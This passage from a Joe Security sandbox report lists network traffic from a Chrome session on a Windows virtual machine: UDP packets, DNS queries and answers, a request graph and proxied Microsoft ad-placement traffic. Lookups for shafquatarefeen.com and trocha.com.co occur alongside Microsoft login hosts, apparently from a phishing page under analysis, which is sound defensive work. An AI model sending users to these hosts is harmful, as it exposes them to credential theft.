Jul 1, 2022 11:00:48.188456059 CEST 63243 443 192.168.2.5 142.251.36.238

Jul 1, 2022 11:00:48.216294050 CEST 443 63243 142.251.36.238 192.168.2.5

UDP Packets
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Jul 1, 2022 11:00:48.221333027 CEST 443 63243 142.251.36.238 192.168.2.5

Jul 1, 2022 11:00:48.229558945 CEST 443 63243 142.251.36.238 192.168.2.5

Jul 1, 2022 11:00:48.230432987 CEST 63243 443 192.168.2.5 142.251.36.238

Jul 1, 2022 11:00:48.240016937 CEST 443 63243 142.251.36.238 192.168.2.5

Jul 1, 2022 11:00:48.240046978 CEST 443 63243 142.251.36.238 192.168.2.5

Jul 1, 2022 11:00:48.240060091 CEST 443 63243 142.251.36.238 192.168.2.5

Jul 1, 2022 11:00:48.240782022 CEST 63243 443 192.168.2.5 142.251.36.238

Jul 1, 2022 11:00:48.266189098 CEST 63243 443 192.168.2.5 142.251.36.238

Jul 1, 2022 11:00:48.329102993 CEST 137 137 192.168.2.5 192.168.2.255

Jul 1, 2022 11:00:48.331093073 CEST 137 137 192.168.2.5 192.168.2.255

Jul 1, 2022 11:00:48.333085060 CEST 137 137 192.168.2.5 192.168.2.255

Jul 1, 2022 11:00:49.126944065 CEST 61478 53 192.168.2.5 8.8.8.8

Jul 1, 2022 11:00:49.127002001 CEST 57809 53 192.168.2.5 8.8.8.8

Jul 1, 2022 11:00:49.130367041 CEST 55355 53 192.168.2.5 8.8.8.8

Jul 1, 2022 11:00:49.131535053 CEST 62680 53 192.168.2.5 8.8.8.8

Jul 1, 2022 11:00:49.133215904 CEST 52333 53 192.168.2.5 8.8.8.8

Jul 1, 2022 11:00:49.135458946 CEST 49407 53 192.168.2.5 8.8.8.8

Jul 1, 2022 11:00:49.148598909 CEST 53 61478 8.8.8.8 192.168.2.5

Jul 1, 2022 11:00:49.150393963 CEST 49912 53 192.168.2.5 8.8.8.8

Jul 1, 2022 11:00:49.150944948 CEST 53 55355 8.8.8.8 192.168.2.5

Jul 1, 2022 11:00:49.152167082 CEST 53 52333 8.8.8.8 192.168.2.5

Jul 1, 2022 11:00:49.152596951 CEST 53 62680 8.8.8.8 192.168.2.5

Jul 1, 2022 11:00:49.643832922 CEST 57990 53 192.168.2.5 8.8.8.8

Jul 1, 2022 11:00:49.672071934 CEST 53 57990 8.8.8.8 192.168.2.5

Jul 1, 2022 11:00:50.431561947 CEST 137 137 192.168.2.5 192.168.2.255

Jul 1, 2022 11:00:51.183300018 CEST 137 137 192.168.2.5 192.168.2.255

Jul 1, 2022 11:00:51.901665926 CEST 137 137 192.168.2.5 192.168.2.255

Jul 1, 2022 11:00:51.905275106 CEST 137 137 192.168.2.5 192.168.2.255

Jul 1, 2022 11:00:51.940876007 CEST 137 137 192.168.2.5 192.168.2.255

Jul 1, 2022 11:00:52.658636093 CEST 137 137 192.168.2.5 192.168.2.255

Jul 1, 2022 11:00:52.658695936 CEST 137 137 192.168.2.5 192.168.2.255

Jul 1, 2022 11:00:53.419946909 CEST 137 137 192.168.2.5 192.168.2.255

Jul 1, 2022 11:00:53.422538042 CEST 137 137 192.168.2.5 192.168.2.255

Jul 1, 2022 11:00:58.181863070 CEST 49416 53 192.168.2.5 8.8.8.8

Jul 1, 2022 11:00:58.183137894 CEST 61126 53 192.168.2.5 8.8.8.8

Jul 1, 2022 11:00:58.191611052 CEST 54152 53 192.168.2.5 8.8.8.8

Jul 1, 2022 11:00:58.203000069 CEST 53 49416 8.8.8.8 192.168.2.5

Jul 1, 2022 11:00:58.210989952 CEST 53 54152 8.8.8.8 192.168.2.5

Jul 1, 2022 11:01:41.010472059 CEST 137 137 192.168.2.5 192.168.2.255

Jul 1, 2022 11:01:41.773226023 CEST 137 137 192.168.2.5 192.168.2.255

Jul 1, 2022 11:01:42.523386955 CEST 137 137 192.168.2.5 192.168.2.255

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jul 1, 2022 11:00:43.274400949 CEST 192.168.2.5 8.8.8.8 0x7027 Standard query 
(0)

accounts.g
oogle.com

A (IP address) IN (0x0001)

Jul 1, 2022 11:00:43.287456989 CEST 192.168.2.5 8.8.8.8 0xbdd1 Standard query 
(0)

gmail.us14.list-
manage.com

A (IP address) IN (0x0001)

Jul 1, 2022 11:00:43.306559086 CEST 192.168.2.5 8.8.8.8 0x1dc9 Standard query 
(0)

clients2.g
oogle.com

A (IP address) IN (0x0001)

Jul 1, 2022 11:00:44.517154932 CEST 192.168.2.5 8.8.8.8 0xb1ef Standard query 
(0)

trocha.com.co A (IP address) IN (0x0001)

Jul 1, 2022 11:00:48.009360075 CEST 192.168.2.5 8.8.8.8 0xf929 Standard query 
(0)

shafquatar
efeen.com

A (IP address) IN (0x0001)

Jul 1, 2022 11:00:49.126944065 CEST 192.168.2.5 8.8.8.8 0x56ea Standard query 
(0)

maxcdn.boo
tstrapcdn.com

A (IP address) IN (0x0001)

Jul 1, 2022 11:00:49.127002001 CEST 192.168.2.5 8.8.8.8 0xd9e9 Standard query 
(0)

login.micr
osoftonline.com

A (IP address) IN (0x0001)

Jul 1, 2022 11:00:49.130367041 CEST 192.168.2.5 8.8.8.8 0xaa3f Standard query 
(0)

cdnjs.clou
dflare.com

A (IP address) IN (0x0001)

DNS Queries

Copyright Joe Security LLC 2022 Page 50 of 280



Jul 1, 2022 11:00:49.131535053 CEST 192.168.2.5 8.8.8.8 0x7f57 Standard query 
(0)

stackpath.
bootstrapc
dn.com

A (IP address) IN (0x0001)

Jul 1, 2022 11:00:49.133215904 CEST 192.168.2.5 8.8.8.8 0x6ff7 Standard query 
(0)

aadcdn.msf
tauth.net

A (IP address) IN (0x0001)

Jul 1, 2022 11:00:49.135458946 CEST 192.168.2.5 8.8.8.8 0x6126 Standard query 
(0)

secure.aad
cdn.micros
oftonline-p.com

A (IP address) IN (0x0001)

Jul 1, 2022 11:00:49.150393963 CEST 192.168.2.5 8.8.8.8 0x9f64 Standard query 
(0)

code.jquery.com A (IP address) IN (0x0001)

Jul 1, 2022 11:00:49.643832922 CEST 192.168.2.5 8.8.8.8 0x60af Standard query 
(0)

i.ibb.co A (IP address) IN (0x0001)

Jul 1, 2022 11:00:58.181863070 CEST 192.168.2.5 8.8.8.8 0x7ea0 Standard query 
(0)

aadcdn.msf
tauth.net

A (IP address) IN (0x0001)

Jul 1, 2022 11:00:58.183137894 CEST 192.168.2.5 8.8.8.8 0xee92 Standard query 
(0)

secure.aad
cdn.micros
oftonline-p.com

A (IP address) IN (0x0001)

Jul 1, 2022 11:00:58.191611052 CEST 192.168.2.5 8.8.8.8 0x8f50 Standard query 
(0)

i.ibb.co A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jul 1, 2022 
11:00:43.301704884 CEST

8.8.8.8 192.168.2.5 0x7027 No error (0) accounts.g
oogle.com

142.251.36.205 A (IP address) IN 
(0x0001)

Jul 1, 2022 
11:00:43.308006048 CEST

8.8.8.8 192.168.2.5 0xbdd1 No error (0) gmail.us14.list-
manage.com

swc.list-
manage.com.edge
key.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

Jul 1, 2022 
11:00:43.331804991 CEST

8.8.8.8 192.168.2.5 0x1dc9 No error (0) clients2.g
oogle.com

clients.l.google.co
m

CNAME 
(Canonical 
name)

IN 
(0x0001)

Jul 1, 2022 
11:00:43.331804991 CEST

8.8.8.8 192.168.2.5 0x1dc9 No error (0) clients.l.
google.com

142.251.36.238 A (IP address) IN 
(0x0001)

Jul 1, 2022 
11:00:44.894855976 CEST

8.8.8.8 192.168.2.5 0xb1ef No error (0) trocha.com.co 69.172.198.108 A (IP address) IN 
(0x0001)

Jul 1, 2022 
11:00:48.026087046 CEST

8.8.8.8 192.168.2.5 0xf929 No error (0) shafquatar
efeen.com

192.154.231.67 A (IP address) IN 
(0x0001)

Jul 1, 2022 
11:00:49.146254063 CEST

8.8.8.8 192.168.2.5 0xd9e9 No error (0) login.micr
osoftonline.com

ak.privatelink.msid
entity.com

CNAME 
(Canonical 
name)

IN 
(0x0001)

Jul 1, 2022 
11:00:49.146254063 CEST

8.8.8.8 192.168.2.5 0xd9e9 No error (0) ak.private
link.mside
ntity.com

www.tm.ak.prd.aa
dg.trafficmanager.
net

CNAME 
(Canonical 
name)

IN 
(0x0001)

Jul 1, 2022 
11:00:49.148598909 CEST

8.8.8.8 192.168.2.5 0x56ea No error (0) maxcdn.boo
tstrapcdn.com

104.18.10.207 A (IP address) IN 
(0x0001)

Jul 1, 2022 
11:00:49.148598909 CEST

8.8.8.8 192.168.2.5 0x56ea No error (0) maxcdn.boo
tstrapcdn.com

104.18.11.207 A (IP address) IN 
(0x0001)

Jul 1, 2022 
11:00:49.150944948 CEST

8.8.8.8 192.168.2.5 0xaa3f No error (0) cdnjs.clou
dflare.com

104.17.25.14 A (IP address) IN 
(0x0001)

Jul 1, 2022 
11:00:49.150944948 CEST

8.8.8.8 192.168.2.5 0xaa3f No error (0) cdnjs.clou
dflare.com

104.17.24.14 A (IP address) IN 
(0x0001)

Jul 1, 2022 
11:00:49.152167082 CEST

8.8.8.8 192.168.2.5 0x6ff7 No error (0) aadcdn.msf
tauth.net

cs1100.wpc.omeg
acdn.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

Jul 1, 2022 
11:00:49.152167082 CEST

8.8.8.8 192.168.2.5 0x6ff7 No error (0) cs1100.wpc
.omegacdn.net

152.199.23.37 A (IP address) IN 
(0x0001)

Jul 1, 2022 
11:00:49.152596951 CEST

8.8.8.8 192.168.2.5 0x7f57 No error (0) stackpath.
bootstrapc
dn.com

104.18.10.207 A (IP address) IN 
(0x0001)

Jul 1, 2022 
11:00:49.152596951 CEST

8.8.8.8 192.168.2.5 0x7f57 No error (0) stackpath.
bootstrapc
dn.com

104.18.11.207 A (IP address) IN 
(0x0001)

Jul 1, 2022 
11:00:49.156085968 CEST

8.8.8.8 192.168.2.5 0x6126 No error (0) secure.aad
cdn.micros
oftonline-p.com

secure.aadcdn.mic
rosoftonline-
p.com.edgekey.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

Jul 1, 2022 
11:00:49.166802883 CEST

8.8.8.8 192.168.2.5 0x9f64 No error (0) code.jquery.com cds.s5x3j6q5.hwcd
n.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

Jul 1, 2022 
11:00:49.542893887 CEST

8.8.8.8 192.168.2.5 0xd993 No error (0) dual.part-0017.t-
0009.t-msedge
.net

global-entry-
afdthirdparty-
fallback.trafficman
ager.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

DNS Answers
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Jul 1, 2022 
11:00:49.542893887 CEST

8.8.8.8 192.168.2.5 0xd993 No error (0) dual.part-0017.t-
0009.fbs1-t-m
sedge.net

part-0017.t-
0009.fbs1-t-
msedge.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

Jul 1, 2022 
11:00:49.542893887 CEST

8.8.8.8 192.168.2.5 0xd993 No error (0) part-0017.t-
0009.fbs1-t-
msedge.net

13.107.219.45 A (IP address) IN 
(0x0001)

Jul 1, 2022 
11:00:49.542893887 CEST

8.8.8.8 192.168.2.5 0xd993 No error (0) part-0017.t-
0009.fbs1-t-
msedge.net

13.107.227.45 A (IP address) IN 
(0x0001)

Jul 1, 2022 
11:00:49.672071934 CEST

8.8.8.8 192.168.2.5 0x60af No error (0) i.ibb.co 51.210.32.132 A (IP address) IN 
(0x0001)

Jul 1, 2022 
11:00:49.672071934 CEST

8.8.8.8 192.168.2.5 0x60af No error (0) i.ibb.co 51.210.32.106 A (IP address) IN 
(0x0001)

Jul 1, 2022 
11:00:49.672071934 CEST

8.8.8.8 192.168.2.5 0x60af No error (0) i.ibb.co 51.210.3.236 A (IP address) IN 
(0x0001)

Jul 1, 2022 
11:00:49.672071934 CEST

8.8.8.8 192.168.2.5 0x60af No error (0) i.ibb.co 51.210.32.103 A (IP address) IN 
(0x0001)

Jul 1, 2022 
11:00:49.672071934 CEST

8.8.8.8 192.168.2.5 0x60af No error (0) i.ibb.co 217.182.228.53 A (IP address) IN 
(0x0001)

Jul 1, 2022 
11:00:58.203000069 CEST

8.8.8.8 192.168.2.5 0x7ea0 No error (0) aadcdn.msf
tauth.net

cs1100.wpc.omeg
acdn.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

Jul 1, 2022 
11:00:58.203000069 CEST

8.8.8.8 192.168.2.5 0x7ea0 No error (0) cs1100.wpc
.omegacdn.net

152.199.23.37 A (IP address) IN 
(0x0001)

Jul 1, 2022 
11:00:58.205270052 CEST

8.8.8.8 192.168.2.5 0xee92 No error (0) secure.aad
cdn.micros
oftonline-p.com

secure.aadcdn.mic
rosoftonline-
p.com.edgekey.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

Jul 1, 2022 
11:00:58.210989952 CEST

8.8.8.8 192.168.2.5 0x8f50 No error (0) i.ibb.co 51.210.32.132 A (IP address) IN 
(0x0001)

Jul 1, 2022 
11:00:58.210989952 CEST

8.8.8.8 192.168.2.5 0x8f50 No error (0) i.ibb.co 51.210.32.106 A (IP address) IN 
(0x0001)

Jul 1, 2022 
11:00:58.210989952 CEST

8.8.8.8 192.168.2.5 0x8f50 No error (0) i.ibb.co 51.210.3.236 A (IP address) IN 
(0x0001)

Jul 1, 2022 
11:00:58.210989952 CEST

8.8.8.8 192.168.2.5 0x8f50 No error (0) i.ibb.co 51.210.32.103 A (IP address) IN 
(0x0001)

Jul 1, 2022 
11:00:58.210989952 CEST

8.8.8.8 192.168.2.5 0x8f50 No error (0) i.ibb.co 217.182.228.53 A (IP address) IN 
(0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

HTTP Request Dependency Graph
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arc.msn.com

            
store-images.s-microsoft.com

            
accounts.google.com

            
clients2.google.com

            
trocha.com.co

            
https:

shafquatarefeen.com
cdnjs.cloudflare.com
maxcdn.bootstrapcdn.com
aadcdn.msftauth.net
stackpath.bootstrapcdn.com
i.ibb.co

            
login.live.com

            
fs.microsoft.com

            
www.bing.com

            
licensing.mp.microsoft.com

            
img-prod-cms-rt-microsoft-com.akamaized.net

         

Session ID Source IP Source Port Destination IP
Destination
Port

Process

0 192.168.2.5 49729 20.31.108.18 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:30 UTC 0 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=314559&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:FE8E72D9-9324-F27F-91C7-FEE66B531521&ctry=US&time=20220308T162906Z&lc=en-US&pl=en-US&i
dtp=mid&uid=8706df6d-9543-4122-b8e1-1fcdd5939be6&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=4d42bc3eebd64caab6dac5e9ff285a6f&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1418274&metered=false&nettype=ethernet&npid=sc-
314559&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&smBiosDm=VMware7
%2C1&tl=2&tsu=1418274&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32099&sc=6
Cache-Control: no-cache
MS-CV: Rb9wseKcUUy0Wvq0.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

HTTPS Proxied Packets

Copyright Joe Security LLC 2022 Page 53 of 280



2022-07-01 09:00:30 UTC 3 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=840
Content-Length: 53760
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"2,P425106554-T700342084-C128000000001392709+B+P80+S1,P425106558-T
700342085-C128000000001392729+B+P80+S2"},{"BATCH_REDIRECT_STORE":"1,BB_9NXQXXLFST89_9WZDNC
RFHVFW_9WZDNCRFJ3P2_9NCBCSZSJRSB_9NMPJ99VJBWV_9NBLGGH5FV99_9WZDNCRDFNG7+P0+S0"},
{"BATCH_REDIRECT_STORE":"1,BB_9NBLGGGZM6WM_9WZDNCRFHWD2_9NH2GPH4JZS4_9NBLGGH6J6V
K_9P6RC76MSMMJ_9WZDNCRFJ27N_9N0866FS04W8_9WZDNCRFJ10M_9WZDNCRFJ140_9NC2FBTHCJV8_
9NBLGGH1CQ7L+P0+S0"},{"OPTOUTSTATE":"256"}]
X-ARC-SIG: iUTiqkeWhsZ9FmMiFJL0orcsW1w4nawj1OqqnhZnwt9hN6l50aLqiMJqmEuxN/qTXn2bkQKK8lB5E+q
+mN1VfFKczgm40oQfslkM/Wtg6Rv6L2TZYvdMo8ealKdliQIOH0bpynRxeaWqHrn8mCrPyr92PRU0uyGE+JpzDW9T1
noxg7LlOVpTijX0PHb1x4s8Rc5znfVkBD1P6vngR1LaUcHs6/OJxChJ2W0EN2vLwnDys3yKbrtK2TvORtFwROqfekd
lnCSspwATW3+tK/4nIW1hAbuy95DR8vopyKi3dhscDDV2iVeGsQ2Pi9vRC80b4PbsswMv+S+rhoE6WbDMfg==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Fri, 01 Jul 2022 09:00:30 GMT
Connection: close

2022-07-01 09:00:30 UTC 4 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 
22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 
72 64 72 5c 22 3a 5b 7b 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 5
c 22 3a 5c 22 43 44 4d 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 
65 73 74 5c 22 3a 7b 5c 22 73 74 6f 72 65 43 61 6d 70 61 69 67 6e 49 64 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 
74 65 78 74 5c 22 2c 5c 22 69 73 4f 70 74 69 6f 6e 61 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 69 6e 73 74 61 6c 6c 41 70 70 
5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 62 6f 6f 6c 65 61 6e 5c 
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"u\":\"SubscribedContent\",\"c\":\"
CDM\"}],\"ad\":{\"itemPropertyManifest\":{\"storeCampaignId\":{\"type\":\"text\",\"isOptional\":true},\"installApp\":{\"type\":\"b
oolean\

2022-07-01 09:00:30 UTC 19 IN Data Raw: 22 3a 5c 22 63 6c 69 63 6b 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 5c 22 75 72 69 5c 22 3a 
5c 22 6d 73 2d 77 69 6e 64 6f 77 73 2d 73 74 6f 72 65 3a 5c 2f 5c 2f 70 64 70 5c 2f 3f 70 72 6f 64 75 63 74 69 64 3d 39 
6e 62 6c 67 67 68 35 66 76 39 39 26 6f 63 69 64 3d 65 6d 73 2e 64 63 6f 2e 73 74 61 72 74 70 72 6f 67 72 61 6d 6d 61 62 
6c 65 26 63 63 69 64 3d 31 31 33 31 30 62 62 39 38 64 33 34 34 61 62 65 61 64 37 62 62 65 33 39 62 32 31 39 36 32 64 
31 26 63 69 64 3d 6d 73 66 74 5f 31 5c 22 7d 2c 5c 22 61 63 74 69 6f 6e 5c 22 3a 5c 22 6c 61 75 6e 63 68 55 72 69 5c 22 
7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 65 76 65 6e 74 5c 22 3a 5c 22 6f 70 70 6f 72 74 75 6e 69 74 79 5c 
22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 7d 2c 
Data Ascii: ":\"click\",\"parameters\":{\"uri\":\"ms-windows-store:\/\/pdp\/?productid=9nblggh5fv99&ocid=ems.dco.startpr
ogrammable&ccid=11310bb98d344abead7bbe39b21962d1&cid=msft_1\"},\"action\":\"launchUri\"},\"onRender\":{\"event
\":\"opportunity\",\"parameters\":{},

2022-07-01 09:00:30 UTC 35 IN Data Raw: 61 72 74 70 72 6f 67 72 61 6d 6d 61 62 6c 65 26 63 63 69 64 3d 39 34 34 36 61 30 62 37 31 33 36 62 34 66 
35 35 62 33 33 37 64 36 30 39 36 61 62 32 32 34 32 32 26 63 69 64 3d 6d 73 66 74 5f 31 5c 22 7d 2c 5c 22 61 63 74 69 
6f 6e 5c 22 3a 5c 22 6c 61 75 6e 63 68 55 72 69 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 65 76 65 6e 
74 5c 22 3a 5c 22 6f 70 70 6f 72 74 75 6e 69 74 79 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 7d 2c 5c 22 
61 63 74 69 6f 6e 5c 22 3a 5c 22 6e 6f 4f 70 5c 22 7d 2c 5c 22 73 68 6f 77 4e 61 6d 65 4f 6e 4d 65 64 69 75 6d 54 69 6c 
65 5c 22 3a 7b 5c 22 62 6f 6f 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 73 68 6f 77 4e 61 6d 65 4f 6e 57 69 64 65 54 69 6c 65 
5c 22 3a 7b 5c 22 62 6f 6f 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 
Data Ascii: artprogrammable&ccid=9446a0b7136b4f55b337d6096ab22422&cid=msft_1\"},\"action\":\"launchUri\"},\"on
Render\":{\"event\":\"opportunity\",\"parameters\":{},\"action\":\"noOp\"},\"showNameOnMediumTile\":{\"bool\":true},\"sh
owNameOnWideTile\":{\"bool\":true},\"

2022-07-01 09:00:30 UTC 51 IN Data Raw: 37 2d 61 64 38 31 2d 31 33 31 39 36 66 35 62 61 66 30 30 3f 66 6f 72 6d 61 74 3d 73 6f 75 72 63 65 5c 22 2c 
5c 22 77 69 64 74 68 5c 22 3a 31 34 32 2c 5c 22 68 65 69 67 68 74 5c 22 3a 31 34 32 2c 5c 22 73 68 61 32 35 36 5c 22 
3a 5c 22 51 50 5c 2f 4a 45 48 4a 59 57 39 38 6d 36 39 4f 4a 4c 42 42 30 59 48 33 64 78 49 6a 70 75 6d 59 72 74 74 4c 
46 38 62 66 5c 2f 33 66 77 3d 5c 22 2c 5c 22 66 69 6c 65 53 69 7a 65 5c 22 3a 31 37 30 31 38 7d 2c 5c 22 63 6f 6c 6c 65 
63 74 69 6f 6e 5c 22 3a 7b 5c 22 6e 75 6d 62 65 72 5c 22 3a 32 2e 30 7d 2c 5c 22 6d 65 64 69 75 6d 54 69 6c 65 5c 22 3
a 7b 5c 22 69 6d 61 67 65 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 6f 72 65 2d 69 6d 61 67 65 73 2e 73 2d 6d 
69 63 72 6f 73 6f 66 74 2e 63 6f 6d 5c 2f 69 6d 61 67 65 5c 2f 61 
Data Ascii: 7-ad81-13196f5baf00?format=source\",\"width\":142,\"height\":142,\"sha256\":\"QP\/JEHJYW98m69OJLBB
0YH3dxIjpumYrttLF8bf\/3fw=\",\"fileSize\":17018},\"collection\":{\"number\":2.0},\"mediumTile\":{\"image\":\"https:\/\/store-
images.s-microsoft.com\/image\/a

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

1 192.168.2.5 49728 20.31.108.18 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:00:30 UTC 1 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:FE8E72D9-9324-F27F-91C7-FEE66B531521&ctry=US&time=20220308T162906Z&lc=en-US&pl=en-US&i
dtp=mid&uid=8706df6d-9543-4122-b8e1-1fcdd5939be6&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=fada1128df274343862f6295ae1305ff&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1418274&metered=false&nettype=ethernet&npid=sc-
310091&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=
VMware7%2C1&tl=2&tsu=1418274&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32099&sc=6
Cache-Control: no-cache
MS-CV: Rb9wseKcUUy0Wvq0.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

2022-07-01 09:00:30 UTC 2 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 167
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"OPTOUTSTATE":"256"}]
X-ARC-SIG: UoIliHM6/rDEL4qlxY/labCk9OzsU0n2+YhF6TXvZ+YwofstKk/N1wOGNlQNyOJ6/4BQ1iyS9MXKrUi
ocM+0BMjYxCLfjeh6+WfBquwvBXWuKl18yWrVhEARZsLEeeD987zzINXfLl5wo6A6rxd1GtYv5ZgWH/9vS3e2KPR77
bUUmDwMWkTcp+gFBSVxVhKUoHV92gyxHJ4cMJep4zZWb7VmZUkvS14W8K21+FI5vmTvvKNXqCfzF11q7
6T7HBCCeBASW3xaDj4leImVEJFCgro4AnuvYpYm0hNQFcmqkazQaArSRhup8A+2fi/6+NVN2TvSSaDzkCvXt9XhJFl
eLg==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Fri, 01 Jul 2022 09:00:30 GMT
Connection: close

2022-07-01 09:00:30 UTC 3 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 
22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 
73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 
20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 2c 22 72 65 66 72 65 73 68 74 69 6d 65 22 3a 22 32 30 32 32 2d 30 37 2d 30 
31 54 31 33 3a 30 30 3a 33 30 22 7d 7d 
Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No e
ligible content.)."}],"refreshtime":"2022-07-01T13:00:30"}}

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

10 192.168.2.5 49738 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:36 UTC 124 OUT GET /image/apps.256.14495311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.ca4cbefc-0ab0-4144-90c1-0
7f5250c8c21?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-07-01 09:00:36 UTC 124 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 11182
Content-Type: image/png
Last-Modified: Thu, 30 Sep 2021 03:30:18 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk4M0MyQTA4MkRBQUM"
MS-CV: Yyzz1YfTlk6thXph.0
Access-Control-Expose-Headers: MS-CV
